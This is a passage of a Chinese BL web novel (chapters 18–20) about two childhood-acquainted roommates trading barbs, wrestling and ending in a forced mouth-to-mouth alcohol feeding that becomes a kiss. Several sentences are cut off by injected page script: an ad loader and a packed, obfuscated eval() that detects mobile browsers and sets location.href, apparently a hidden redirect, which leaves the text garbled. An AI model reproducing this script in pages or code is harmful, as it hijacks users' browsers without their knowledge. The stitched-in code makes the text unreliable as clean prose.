“谢老师,你看,我把你的被子枕头拿过来了,礼尚往来,谢老师能不能帮我把次卧的被子枕头抱过来?” 脚钻心的疼。 沈今越也不想傻乎乎地当着谢明然的再做独脚小公鸡,丢人现眼。要怪就怪这房子太大,来回蹦跶都得跳几十来下。 想来想去,还是使唤谢明然最妥当。 谢明然没吱声。 好吧,看来奴役谢明然也不是一件容易事,两句好话并说不动这人。 “帮个忙嘛谢老师。”他翘起自己受伤的脚丫,“俺是伤患。” 谢明然呵呵:“这辈子就没见过这么严重的伤口。” 沈今越也呵呵了:这油盐不进的男人啊! 遂放弃,笑容一下收敛,提起一口气准备单脚起跳,人还没蹦起来,领口被拽住。 “大晚上的,跳什么跳?不怕楼下邻居来敲门?” “那是你——”小小抱怨开脱之辞没说完,就见谢明然接过被子,又去次卧战区搬来一堆东西,堂而皇之进入主卧,熟练地将四件套铺好,双臂一伸,被子都被抖得松软,铺开在黑色的大床上,浅色系的四件套带着春天的气息,一下将整个房间点亮。 沈今越赞不绝口。 “谢老师,我觉得你要实在找不到工作,可以考虑去酒店,真的,再配你这张脸,我敢保证,酒店绝对不缺客源。” 他能屈能伸,哄起人来,吹的彩虹屁能绕地球两圈。 谢明然不动如山:“说吧,还有什么事求我。” 沈今越哦了一声:“没什么,就是我有点想我的小鲨鱼了。谢老师,你知道豆豆毯吗?就是那种小孩子从小用到大的毛毯,我的小鲨鱼也是这种,它是我的豆豆鲨。它现在在次卧迷路了,你能帮我把它找回来吗?” “从小用到大?我可不记得你小时候有这个鲨鱼。” 谢明然的记性是很好的。沈今越一直都知道,但他一贯认为,这人的脑子可以多用来记记别的东西,而不是与他有关的鸡零狗碎,占着脑容量不说,还叫他时常下不来台。 “那个鲨鱼是我高中收到的礼物,棠棠姐给的,你又不在,当然不知道。喂……这么看我干嘛?我又没说错!”沈今越挺挺胸膛,“我一直都抱着它睡觉呢,都说长大后要把自己重养一遍,要这么讲,从我收到它到现在,也算从小到大啊。” “幼稚。” 谢明然低头看着沈今越的脚,拖鞋之下,珍珠般莹润的脚趾上只是贴了一张米色的创口贴,“这么能折腾?不知道的,还以为你真瘸了。” “除了你的豆豆鲨,还有什么?一次性说完,别浪费时间。” “没啦。”伸手不打笑脸人,有球在先,沈今越很看得开,“谢谢你,谢老师。” 半晌后,谢明然翻出皱巴巴的小鲨鱼,塞到沈今越手里。 沈今越大夸:“哇!谢老师好厉害,这都找出来了!” “还有事没事?能自己去卫生间吗?站着不动,是需要我帮你把尿吗?” 这不是关心,是明晃晃的讥讽。 一招儿童心理学在谢明然身上迎来惨败。沈今越决定拉黑在网上教导以此展开驭人之术的博主。难道是他的错?没学到精髓?声音不够夹?表情不够慈爱? “怎么?真就需要?” 谢明然的眼神落在某处,沈今越裆下一凉。 “……”忍了半天才忍住用玩偶砸向谢明然脑袋的冲动,他咬牙切齿,“不用!小爷我尿得准!” 他摔门就走。 谢明然轻叩房门:“真没事了?” 回答他的是一声卧室门反锁的声音。 谢明然盯着那锁孔。 “用完就扔,小没良心的。” 他默默拔掉了一直插在上面的钥匙,放在手里轻抛两下,转身将之放置于客厅电视柜中。 · 沈今越认床,还以为自己要一夜未眠,哪晓得睡得雷打不动,在梦里大饱口福。一梦不知年月,再睁眼想看时间,发现手机没带过来,往外瞟,窗帘的缝隙里钻入金色的阳光,在浅色地板上描出一片阴影。 他想睡,窗帘太透光,他便把自己埋进被窝里,整个人盖着睡觉。 日上三竿。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>睡够的沈今越打着哈欠下床,脚趾还疼,但能忍,没必要和昨晚一样单脚蹦跶。在卫生间洗了把脸,沈今越出卧室,眼睛还没彻底上工,鼻子就先灵得乱蹿,嗅动两下,闻到了烤面包的香味。 家里没餐桌,谢明然就站在厨房料理台旁吃东西,手里的可颂牛角包很小一个,一口就能全部吞掉。 瞧见沈今越,他舔了舔指尖上的脆脆面包皮,又拿起一个,边吃边说:“这么久不见,你还是挺能睡。” “本来还能睡更久。”他抱怨,“谢明然,你房间的窗帘怎么一点也不遮光啊?这么亮,怎么睡得着。” 谢明然顿了顿,说:“我睡得着。” “别瘪嘴了,我晚点找人把两个卧室的窗帘换了。” 行叭—— “你怎么还在。”沈今越靠着墙,困倦叫他的脑袋沉得厉害,半边身子借力给墙壁,没想通这事,“今天周一,你不上班吗?” “你看我像有班上的样子吗?” 手磨咖啡,现烤面包,宽松的卫衣家居服,乱糟糟的头发,带着倦意的青黑眼圈。 忘了。 这家伙是个无业游民。 等等—— “面包你烤的?”沈今越不敢置信。 谢明然:“不然?我点了外卖又给塞进烤箱,费老大劲给你做戏看?我是个什么人这么闲?” 贱人。沈今越在心里补充。 他的目光已经被小小牛角包吸引,如此小巧可爱蓬松香甜的面包竟然出自谢明然之手?不敢想象。他看着谢明然又吃一口,心里痒痒,随了一句:“哟,吃挺香!” 谢明然:“想吃直说。” 沈今越:“…………”他其实也可以没那么想。 不过是一块小面包,他不吃就是了! 反正现在还在减肥。 沈今越从次卧的箱子里翻出代餐粉,减脂养胃,开水一冲就好。没什么味道的粉糊糊下肚,衬得面包和咖啡味道更香。 “眼珠子都快掉下来了。”谢明然将尚放在烤箱里的小牛角包夹出,精致地摆在盘中,又递来一杯咖啡,“要吃就吃,免得谢明棠说我虐待你。” 沈今越可不客气,直接上手,小面包一口一个,外皮酥脆,内里软绵,奶香十足,正巧对他胃口。 发生了什么?谢明然怎么突然会做饭了? 曾经一道番茄炒蛋都能做成黑暗料理的人,怎么厨艺突然精进至此?! “……谢明然,你该不会明面上出国读的博士,背地里上的蓝带吧?” “现在又不叫谢老师了?” 那一套又没用。沈今越在心里哼哼。他才不叫。 “好吃吗?” “勉勉强强,食之无味,弃之可惜。”这么说着,他快把自己的三根手指舔得光溜了,就连一点面包渣也不放过。 “牛角包八块一个,咖啡算你三十,加一块,给你个友情价,六十六,微信还是支付宝?”递过来的手机屏幕上是赤/裸/裸的二维码,“至于你刚刚那个问题,另外付费,200一个,你问我答,要吗?” 沈今越:“………” 他算是懂了。 合着谢明然答应跟他一块住,是奔着坑他钱来的啊。 18. 【018】 六十六。 都说六六大顺,他怎么越六越来气呢? 沈今越不缺这六十六块钱,可这钱实在给得憋屈,纯属先斩后奏,叫他心里好生不痛快。给朋友花钱,沈今越眼睛不眨一下,给自己花钱,他掂量三分,给谢明然花钱…… 舌尖顶过齿后,腮帮鼓起又熄,小算盘噼里啪啦地在他心头打响。 转手给空盘拍了照,没喝完的咖啡入镜,截图一张付款记录,特别在谢明然的ID后面用emoji标注了个小小爱心。 久违地发条朋友圈,仅一人可见。 只茸:搬新家的第一餐!感谢室友的投喂!明码标价,童叟无欺,欢迎各路朋友前来一道品尝(^-^)V [图片][图片][图片] 发完这条,沈今越收起手机。 “偷偷摸摸做什么呢?”谢明然看着他猫猫祟祟的动作。 沈今越:“这都偷偷摸摸了,还能告诉你?” 他一口闷掉咖啡,顺手打算把餐具洗了,水龙头拧开,咖啡残渣浮起来,沈今越福至心灵,关掉水,当起甩手掌柜。 “谢小厨!你的活!” 花钱就要有花钱的气势! 他顶着一嘴的奶沫印,昂首挺胸地跛着腿走出厨房。回到主卧卫生间刷牙,一看自己这脸,沉默许久,努力回忆着方才离开时谢明然看他的眼里究竟有没有写着‘笑话’二字。 为了给自己挣回一点颜面,他用泡沫发胶抓了抓头发,整个人收拾得利落,再出房间,谢明然已在客厅躺着看电视。 电视在放剧集,出现的主演是他入学前就出道的同学,声音听着不像他的,该是配音。 谢明然老长一条人,躺下的时候快要把沙发占满,被子和枕头被他塞在身后,随意地堆着,造出一片舒适的狗窝。 沈今越这才注意到。 谢明然昨天不会睡得沙发吧?他走两步,往次卧看去,乱糟糟一片,的确不像是能睡人的样子。再回头看,谢明然好似脖颈不舒服,一直在抬手按着自己的肩颈。 沈今越自知理亏:“你……你昨晚睡沙发怎么不跟我说啊?” “这有什么好说的?”谢明然一手捏着脖子,一手拿着遥控器按快进,电视机里角色讲话的台词断断续续,他抽空抬眸,“我要跟你说了,能怎样?” “……”确实不能怎样。他又不可能邀请谢明然一块睡床。沈今越顶顶腮帮,“你放心,我今天就把次卧收完。” 说干就干。 拆箱,腾物,再挨着挑选摆放地点。同时,谢明然搁主卧的东西也要乾坤大挪移,沈今越忙里忙外,累得后背流汗。他踩在椅子上,试图把暂不用的冬被塞进衣柜的最顶层,身子往一侧倾得厉害,重心偏斜,沈今越正准备自己调整过来,一只大手掐住他的腰,把他扶正。 低头看,谢明然站在他身边。 “我拿衣服。”他手里的确拎着一件被防尘袋抱起来的西装,“看我做什么?被子往里塞啊。” 沈今越三下五除二的把东西塞严实,柜门一关,他从椅子上蹭下来,说:“其实我刚刚不会摔的。” “好的,小不倒翁。” 又阴阳他! “真不会啊!你不信吗?我平衡很好的!形体老师和表演老师都说我以后肯定是个威亚高手,我——” “平衡很好?” 小腿被勾住了,从旁来了力道,为了稳固身形,沈今越一下抓住身旁最近的支撑点。他和谢明然两个人仿佛在摔跤,一对上眼,彼此都默契地使出劲道,想要彻底绊倒对方。 沈今越的腿反勾住谢明然的,两手抓着他的肩膀,趁着他不知为何失神的一瞬,抓住漏洞,乘胜追击。 哗—— 一床的衣服里,两个男人倒下。沈今越把谢明然压在,低头,瞧见的是谢明然堪称完美的下颌线,带了点没刮干净的胡茬,懒散得很。唯有陡然睁大的双眼,失去了平日的闲散自如。 他得意地翘嘴。 “我就说了,谢明然,我平衡很好的。” 吹嘘不过三秒,谢明然双臂发力,把着沈今越的腰将他往旁一推,位置颠倒。刚刚他撑在人两侧的双腿,现在看起来像是把对方紧紧夹住。 两个人的距离陡然变得好近。 谢明然的眼睛又变成了那副要睁不睁的样子,看人的时候总是下三白明显,漫不经心,好似什么都没放在眼里。然而,在这极近的距离下,沈今越第一次看清,那双褐黑色的眼眸中,他的身影是如此清晰。 腰被掐了下,他痒得往另一侧扭。 “平衡是不错,但你们老师有没有跟你说过,吊威亚还得练练核心。” 掌心覆上小腹,往下轻力按压。 “小孩,你差远了。” 简简单单六个字撩起沈今越迟来的怒火,胸口那一股说不清道不明的烦躁将这火催得更旺。他想也没想,抬肘攻击,谢明然回挡,两个人在衣服堆里拧成一团,压得尼龙材质的冲锋衣被碾出风吹过的声响。 来回几个折腾,沈今越喘得不行。 宽松的T挎了一半,锁骨清晰,方才被谢明然用小臂抵住有一道红,汗覆在肌肤上,气红的双眼鲜活又漂亮。 谢明然抿唇,抬手往后一拍,正好打中沈今越乱踹的脚,受伤的大拇指又迎来一次暴击,沈今越痛呼出声,放开所有对眼前人的钳制。 “谢明然!你犯规!” 得以脱身,谢明然站直身子,立在床边,重新扣好了方才弄散的纽扣。 “兵不厌诈。” 沈今越疼得龇牙咧嘴,坐在床上抱着脚哀嗷:“诈你个头!有本事别来这招!咱们硬对硬的干一场!” 他就不信了,凭借他一身巧劲技巧,掰不倒这么个男的。 “是吗?”谢明然对这邀战敬谢不敏,“真要硬碰硬,你以为是谁干谁?” “你等着——等我家大将军伤好以后——嘶——” 谢明然捡起早掉落在地的西装,连同其他衣服一起,抱着走出了主卧,对沈今越的嚣张喊话置若罔闻。 沈今越气得没心情继续收拾,缓了好一阵,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968331|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是气不过,在群里吐槽。 (内鱼救猩) 只茸:迟早有一天我要把谢明然鲨了。 melody(剧组尸体版):这句话我从初中听到现在。 别问,问就是不开播:咋了?谢明然是谁啊?谁惹我们家茸猪猪生气了? melody(剧组尸体版):他家竹马哥哥,兼现室友。 别问,问就是不开播:哪个竹马?哪个哥哥?哪个室友?帅吗?是1是0?不对,是同性恋吗?不是能送来给姐品品吗? melody(剧组尸体版):长得挺帅啊,gay不gay的不知道,他俩倒是挺gay的。 只茸:??? 只茸:我跟他gay个锤子! 只茸:你们不知道刚刚发生了什么! 只茸:他骂我是不倒翁!说我平衡不好!我俩还差点打起来了!本来胜负难分!结果——结果—— 别问,问就是不开播:打着打着他硬了? 只茸:……………… 只茸:林女开!你少天天捧着你那有色网站看呢! 别问,问就是不开播:有色就是有机,嘻嘻。 这个DDL终究还是赶上了:有色网站?哪有?发我。 melody(剧组尸体版):你俩别闹他了。 melody(剧组尸体版):所以,结果怎么样? 只茸:音砸,还是你对我好TT 只茸:结果他小人多作怪,竟对本王受伤的大将军发起攻击!可耻!最后还出言挑衅我! 只茸:说下次有本事硬碰硬,看看是谁干谁? 只茸:呵呵,那还用说—— melody(剧组尸体版):是他干你。(确信) 别问,问就是不开播:是他干你。(确信) 这个DDL终究还是赶上了:是他干你。(确信) 这个DDL终究还是赶上了:所以他是谁?茸茸新对象? 只茸:………… 这个DDL终究还是赶上了:抱歉,没爬楼,只想复读一下//\\ 只茸:干个锤子。 只茸:停下你们恶毒的脑补!人铁直,钢筋的那种,包不弯的。 melody(剧组尸体版):分享链接-《钢筋弯曲,钢筋工必学干货!》《钢铁是如何变弯的?一分钟让你了解拉弯过程!》《如何弯起钢筋?钢筋弯曲的方法有哪些》 损友。 友坏,茸好。 “沈今越。”有人在喊他。 他下意识回:“他真不是gay,你们别胡说了。” 嘴巴接得比脑子快,声母韵母全蹦完后,沈今越意识到,他不是在发语音,也没在通电话,喊他的声音是从旁边传来。他看过去,谢明然拿着手机,站在门边,脸上没什么好看的颜色。他这张脸就没有过好看的颜色。 瞬间噤声,背后蛐蛐人的心虚叫他浑身一下收紧。 “讨论谁呢?谁不是gay?”谢明然问得直截了当,“我认识吗?” 19. 【019】 “你这人怎么没事搞偷听?”沈今越快被吓死。 “那你呢?多大的人还学小孩似的打小报告?”谢明然晃晃手机,“托你的福,谢明棠打电话给我,问我为什么吃个早饭还要收你六十六。” 沈今越看他那表情就知道他在自家老姐那吃了不少瘪,毫不掩饰地笑起来,又替自己找补:“我那是在夸你!哪算打小报告了?” “有本事把仅她可见的范围取消。” 沈今越:“哼哼~” “一天到晚瞎哼哼,猪都没你会哼。”谢明然先嘲了一句,又问得突兀,“说吧,中午想吃什么? 沈今越早有前车之鉴:“你问这个做什么?我自己会点外卖!” “你说呢?”谢明然皮笑肉不笑,阴冷道,“有人让我这个当哥哥的,照顾一下某位小朋友。” 沈今越觉得自己现在就像是狐假虎威的小狐狸,谢明棠就是他在这人面前的最大靠山。 不过谢明然现在怎么这么听谢明棠的话?他以前可不是这样。虽然有血脉压制这buff在,但要让谢明然这般……唔,难道是如今这位无业游民的经济命脉都被亲姐捏在手里?如此一来,倒是很有可能。 “让你想个菜名想这么久?” 沈今越收回自己早已不知道飘到哪段剧情里的思绪:“没什么想吃的,我最近减肥呢。” 谢明然瞧着他的脸:“就为那两三斤?” 沈今越:“……”这人的眼睛果然是称吧! 谢明然:“我可问你了,是你自己没什么想吃的,别到时候又背后捅刀。” 沈今越拍着肚皮保证:“放心吧您嘞!” 他搬家前就看好了附近一家轻食店铺,评分不错,味道也佳。相较之下,他还是觉得吃这外送靠谱。毕竟,会做面包和会做饭是两个概念,谢明然过去做的番茄炒蛋叫他印象太过深刻,沈今越并不对如今的他抱有多少期待。 “还有事——?”这人怎么不走。 “你还没回答我的问题。”谢明然总是有能力抓回沈今越企图糊弄过去的话题,从小到大,至今如此,他似乎一贯拥有直视前方目标的能力,绕多少弯路都能再走回去,眼下也一样,“所以,那个男人是谁?” 沈今越自己都有点迷糊了。 “哪个男人?” 谢明然下颌微抬,目光落在他掌心的手机上,示意是方才他跟朋友聊起的那个人。 沈今越汗流浃背。 这要是让群友不堪入目的对话被此人知晓,这人绝对会以为自己对他有意思。以他那么个臭屁性格,往后的日子,谢明然岂不是要嘲笑他一辈子?甚至骑在他头上拉屎撒尿?他年纪轻轻,可不做马桶。 “问这干嘛?反正你也不认识。”沈今越敷衍道,“赶紧出去,别打扰我收拾房间。” 他立志在今天之内把小屋归整得妥当完美。 先要给所有衣服分门别类,按颜色和材质放置,接着要给各种零零碎碎的小物件找家,之前收集了两年的各种影片路演周边也放得找地方存放,噢,还有这些年他拍过的学生作业打印出来的剧本,跑过的龙套的本子,有些甚至没有台词。沈今越把这些全都收集了起来。 他放着音乐,试图给这艰难的收物之旅增添一点的乐趣。 “咚咚。” “咚咚。” 好几声后,沈今越才听见响,忙去开门,谢明然跟他说:“你外卖到了,门都快被这人敲烂掉。” 出卧室往门口走,远远地瞧见一帅哥,没穿黄色的工作服,一看就是常年健身的猛男。 “沈先生?” “是我。” 浅绿色的精致轻食外送袋递过来。 猛男:“今天爆单,外卖员来不及,我看您就住这小区,便自己给您送过来了。给,您的套餐。” “谢谢。”沈今越接过,对外的那一套笑容模板本能地出现在他脸上,“麻烦你跑这一趟了。” 猛男麦色的脸微微泛红:“没关系的,我也就住这小区,从店里回家顺路,就正好带过来了。” “也还是要谢谢你。”沈今越说。 “您太客气了。对了,我们店最近搞活动,您看,要不要扫码加个微信,有很多优惠。袋子里也有小卡,也可以扫码的,现在扫我也可以!” “好啊,我直接扫你吧。”凑近扫码的时候,沈今越注意到这人的胸肌,在黑色的短袖里挡都挡不住。真有人能练成这样? “那我先走了,下次见。”猛男略显青涩无措地朝着沈今越挥了挥手。 沈今越笑着说好,秉持着礼貌的想法,目送着人进电梯。 确认对方离开后,抬腿往后退,准备拉门,哪知道一下撞进人的怀里。他扭头看去,无言:“吓死,你站这干嘛?” 谢明然:“原来你还看得见啊,我还以为你眼珠子都掉地上了。” 这人又犯哪门子的病? “让你失望了。”沈今越说,“我的眼珠子和我都挺好的。”饱餐一顿,怎么不算好? 家里没茶几,也没餐桌,沈今越找了个纸箱子,拉着小凳子就地坐下吃。 他瞄了眼谢明然。 “你不是要自己做饭吗?”他问。 谢明然:“不想动。” 沈今越:“不吃了?” 谢明然:“没胃口。” 沈今越扬扬眉,没再多言。 又吃两口,他拿起手机拍照,发给群友。 (内鱼救猩) 只茸:朕这下也是减上了。 只茸:来送餐的是老板,我靠,那个胸肌—— 只茸:好想问他到底怎么练出来的,私教是谁,能不能推我一下。 沈今越对自己偏瘦削的身形一贯不满意,他的理想状态倒不是和这猛男一样,只是觉得这人练得实在不错,说不定能取取经。真要说最佳的身材……沈今越瞟了眼站在玄关柜旁捧着一次性饭盒吃的男人。 “明天你有空吗?”他问,“我没课,可以去把客厅的家具买了,还有餐桌。” “你确定你明天就能把东西收拾完?” “少小看人了!” 三下五除二吃完饭,沈今越浅收拾了一下,把外送袋放在门外,转头就继续归整大业。 他预计能在两小时内搞定。 事实证明,他高估了自己的效率,也低估了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984267|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西数量。 秉持着收拾一会就得瘫痪一会的原则,沈今越成功地耗到了晚上。他甚至没心情吃晚饭,感觉今天眼睛一睁就是收,特种兵似的,人来回在客厅和主卧捯饬。 最要命的是,谢明然还会在旁冷嗖嗖地来一句:“还有四个小时。” “这就八点了?!”沈今越不敢置信,紧接着,看了眼收了仿佛没收的一堆残物,陷入了长久的沉默。过了会,他给自己打气,“没关系,沈今越,你可以的,其实也没多少了,哈哈,搬家,易如反掌。” 也许是他看起来太可怜了,谢明然良心大发,从他手里接过一个箱子:“放哪?” 沈今越没反应过来,愣了片刻,说:“主卧,我还不知道是什么,等会先拆开看看。” 他亦步亦趋跟在谢明然身后,以一朝被蛇咬十年怕井绳的态度提前声明:“先说好,我不会付费的,你不要等会再叫我转账。” 谢明然耷拉着眼皮,从上至下瞧他。 “没帮你。”他说,“我在帮我自己。” “以你这乌龟爬沙的速度,我怕我今天晚上还得睡沙发。” 在理。 沈今越偷偷在谢明然背后比了个中指。 “那你先搬着,箱子都挪进来,再帮我拆开一下,我把这边收完了就过来整理。”免费劳动力,不用白不用。更何况这劳动力还是谢明然。他用起来可真是心情愉快。 等谢明然搬完箱子,沈今越看着手机上施音发来的贴心消息,就彻底明白了乐极生悲四个字究竟怎么写。 「对了,茸茸,忘记跟你说啦!上学期拍dragqueen概念短片和你给我当模特时候的服装我都给你塞进箱子里!我也是搬家的时候才收出来的!留给你啦,当个纪念!」 箱子? 哪个箱子? 沈今越心惊一瞬,赶紧回头看,只听剪刀滋啦一声划破裹了好几层的胶带,与谢明然对视那瞬间,男人正无言地从箱中拿出一条墨绿色超短开叉旗袍,小臂上还挂着一条亮闪闪的渔网丝袜。 “你的?” “……” “嗯?” “严格意义上来说不是。”沈今越装死失败,“你——卧槽——你别翻了啊!” 谢明然放下旗袍,又拿了一件起来,那是一条银色的交叉抹胸,上身就两根袋子绑着,背后是捆绑式的细绳,下半身是长裤,沈今越还记得,穿这套拍的时候,他胸口和衣服之间贴了双面胶,等撕下来,爷爷的妻子都发红了。 指尖捻着那细带,谢明然说:“这衣服……挺凉快。” 被谁翻到都不想被谢明然翻到。 沈今越红脸,尴尬死了。 他说:“你别乱碰,这是之前的拍摄道具。” 谢明然噢了一声,问了一句很奇怪的问题。 “所以,拍摄现场人很多吗?” “不然呢!”沈今越毛全炸掉,“我们拍的是正经片!不是你想的那种!!” “好冤枉,我还什么都没想。”谢明然慢吞吞地说,“给你放哪?准备什么时候再穿?过两个月就开暖气,我现在开地暖也可以……” “滚———!” 20. 【020】 把人连推带踹地往外赶,门一反锁,沈今越摔在床上彻底红温。 给气炸了。 换成谁看到这堆衣服他都能淡定处之,艺术,都是为了艺术。唯有谢明然不行。他很清楚,以谢明然的尿性,接下来,他会无时无刻地对此进行callback,死死抓住这个机会,狠狠对他冷嘲热讽。 不行。 这才搬来第一天,他可不想给谢明然送上这么一份‘把柄’。 回溯! 必须回溯! 可这事哪是他想回就能回的?谢明然的嘴巴子就跟那珠穆朗玛峰山巅一样,每次啃一口,都要费老劲,自己还受罪。一想到这,上次的药酒味道犹在唇齿徘徊,流连忘返,叫他胃里翻涌,难受得不行。 来硬的不行,有失败的风险,若是失败,不亚于再双手将把柄奉上。 再甩给谢明然500块?好像也没什么合理的借口,上次是说自己失恋伤心,这回呢?难道说自己嘴皮痒得厉害? 干脆找个东西把谢明然砸晕算了。 ……也不行。 万一闹出人命,他后半辈子岂不得愧疚死? 距离十二点还有几个小时,沈今越的脑子疯狂运转,在接连排除各种答案以后,他想到一个绝佳的小东西。 如演戏般,沈今越先在脑子里花半小时过了一遍剧情,这才推开门。谢明然客厅,随手找了个软垫,席地而坐,背靠沙发底座,正在看书。书是一串沈今越不认识的字母,他瞧不明白。 从第一刻进入谢明然的家,沈今越就发现了,这人家里有很多书,没用架子装,只是散漫地垒成一长沓,高高低低摆满了客厅,客厅那张简单的地垫周围,更是放了好些。是伸手往左右两边都能拿到书的距离。 听见卧室开门的动静,谢明然抬眼望过来,眼神带着明显的失望。 “……” “???” 沈今越:“解释一下,你在失望什么?” 谢明然:“我还以为某人关在房间里半天是在换清爽凉快的衣服。” 沈今越:“…………” 看吧! 他就说吧! 这人就是贱成这样婶儿的! 他憋着一口气,想着等会要发生的大事,决定先不恋战。走到冰箱旁,拉开,施音送他的搬家礼物,一瓶未拆封的金酒正放在冰箱保鲜上层。 施音爱喝酒,闲来没事就喜欢在家里搞鼓各种调酒,沈今越对此没瘾,谈不上喜欢或讨厌,只是一块住得久了,看得多了,也多少会糊弄那么一两杯。 金汤力算他比较上手的类型,青柠和汤力水也有,这都得多谢施音小姐的恩赐。 “给你。”他一手端着一杯,左边的那个递给了谢明然。 谢明然接过,凑近,闻了下,眉头紧锁。 “这什么东西?” 沈今越在他旁边的沙发坐下,位置比谢明然高些,从这个角度,能看到谢明然的睡衣宽领里是他曾见识过的薄肌,他移开目光:“怎么想也觉得该庆祝一下,多少随点乔迁的规矩,没搞那么多花样,也就调了一杯酒。” “再说了,你昨晚不是没睡好吗?喝点好入睡。” 作法作法! 谢明然快快睡着,睡着了他好下手! “好歹以后也算是要住一个屋檐下了,谢明然,碰个杯呗,咱们往后就井水不犯河水,好好当室友。” 谢明然看了看酒杯,又侧着脑袋仰起头看他。 “沈今越。” “啊?” “你知道吗?你每次要整我之前都会上演这一出黄鼠狼给鸡拜年。” “…………” “酒里下药了?” 沈今越:“这么警惕,怎么不去当皇帝啊你!” 谢明然:“歹人在侧,不得不防。” “神经。”他就着谢明然端着酒杯的姿势,弯腰,低身,手指搭上那杯,凑近喝了一口,直勾勾地看回去,“这回你没什么担心了吧?” 谢明然撑起眼皮:“不好说。” “你是不是偷偷在嘴里含解药了?” 沈今越当着谢明然的张大嘴,为了保持这姿势,说话的时候都囫囵不清:“泥特蝶滴睁大眼睛郝郝看清楚。” 他努力叫谢明然全方位检查自己的口腔。 嗯。 看清楚了。 牙齿很白,舌尖很粉,瞧着又软又带劲。 谢明然敛眸:“还真没下药啊。” 沈今越揉揉自己因为嘴张太大而发酸的脸蛋:“废话,你以为这是古装电视剧啊!”要真能下药,他不直接吹口迷烟叫谢明然晕掉了事,至于这么麻烦? “这下能喝了吧?”沈今越举起自己的杯子,“走一个?” 谢明然笑了。 这人还没说话,沈今越的脑子就率先有了警备反应。 多年与谢明然对战的经验告诉他,此坏逼一笑,他准没好事发生。 “谢谢你的好意,但我不喝酒了。”谢明然说,“上次沾酒就醉,太麻烦。” 理智的小草一下陡然被火烧光。 “谢明然,你玩我是吧?!” “好笨。”他甚至好以整暇地翻开方才被他合上的书页,“小屁孩,家里除了我就是你,不玩你我玩谁?” 沈今越想,谢明然是懂踩雷的。 他一讨厌谢明然漫不经心什么都不放在眼里的态度,二讨厌谢明然拿年龄来压他。两人差五岁,也没见谢明然有多少哥哥样。成天欠欠的,还敢叫他小屁孩? 软硬不吃的狗东西。 怀柔政策正式告吹。 沈今越猛地抬手喝了一大口,又将谢明然手里的书抽走丢开,在他不爽地抬头看过来时,借着刚刚一高一低的座位优势,直接自上而下地反坐进谢明然怀里,两手迅速压住他的手腕,拼了老命,使出吃奶的力气。 他盯着谢明然的眼睛,对现在此人这副束手就擒的模样十分满意。不是不肯喝酒吗?他还偏偏就要谢明然喝下去。膝盖顶替了刚刚摁住谢明然手腕的位置,空出来的一只手捏住谢明然欲闪躲的脑袋,凑近,掐开他的嘴,唇贴上去,紧接着,含在自个嘴里的一大口金汤力全都顺着渡了过去。 沈今越第一次对人做这种事。 他想象里的用嘴喂酒=从一个杯子倒入另一个杯子。 丝滑通畅,简单明了。 实际上的用嘴喂酒=慌乱无措,酒水肆意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997157|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱流。 谢明然这嘴巴就他爹的跟个漏勺一样。 怎么就接不住呢? 直接张嘴往里塞不行,得用舌头顶着液体,借一点力道朝内推去,察觉到酒水有外渗的风险,沈今越下意识用舌将之往内勾。 差不多了。 以谢明然那破酒量,估计也该醉了。 沈今越满意地退出,却忽然发现,自己怎么也跑不掉了。被膝盖压住的手不知什么时候反成为禁锢他的存在,大手一捞,腰就往前靠,隔着棉质的家居服布料,沈今越察觉到,谢明然浑身上下紧绷得很,腹肌都硬着。 他有点慌了,这不是他要的结果。他想看谢明然不知所措,想看他醉后出丑,而不是想看他现在这样。 身子后倾,仰着头,没闭眼,就这么挑衅又直接地瞧他,厚而热的舍尖反追着他的,攥取每一滴金汤力,在喉结滚动时尽数吞咽。 被放开时,谢明然还有余力舔舔嘴角,点评一句:“酒调得不错,接吻嘛?算了。” “算了?” 也许是怒得失去理智,也许是被激得好胜心起,又或者,他只是单纯看谢明然和他的嘴不顺眼。该死,这人的嘴那么亮晶晶的做什么啊?以为他刚刚是在涂唇膏吗?他掐着谢明然的脸颊反攻而上,这次不是喂酒,而是一个吻。 带着恼意,愤怒,报复,气势汹汹的吻。 谢明然明显是愣住了,这招是有成效的,手再改为伸手揉着他的耳垂,近乎捧着脸,低头吻着。 青柠的淡酸,金酒的木与果香,尽数在这唇齿之间弥漫。 男人失去了方才那份自适,愕然后,才被牵着舌头走。沈今越看见谢明然闭了眼,感受到他的变化,大掌顺着自己的腿往上。 就是现在。 在谢明然近乎流连地追随着他的时刻,他一下抬手,捏住此人两侧脸颊,毫不犹豫地冲着他的唇角咬了一口。 鲜血一下淌出,也染上沈今越的唇角。 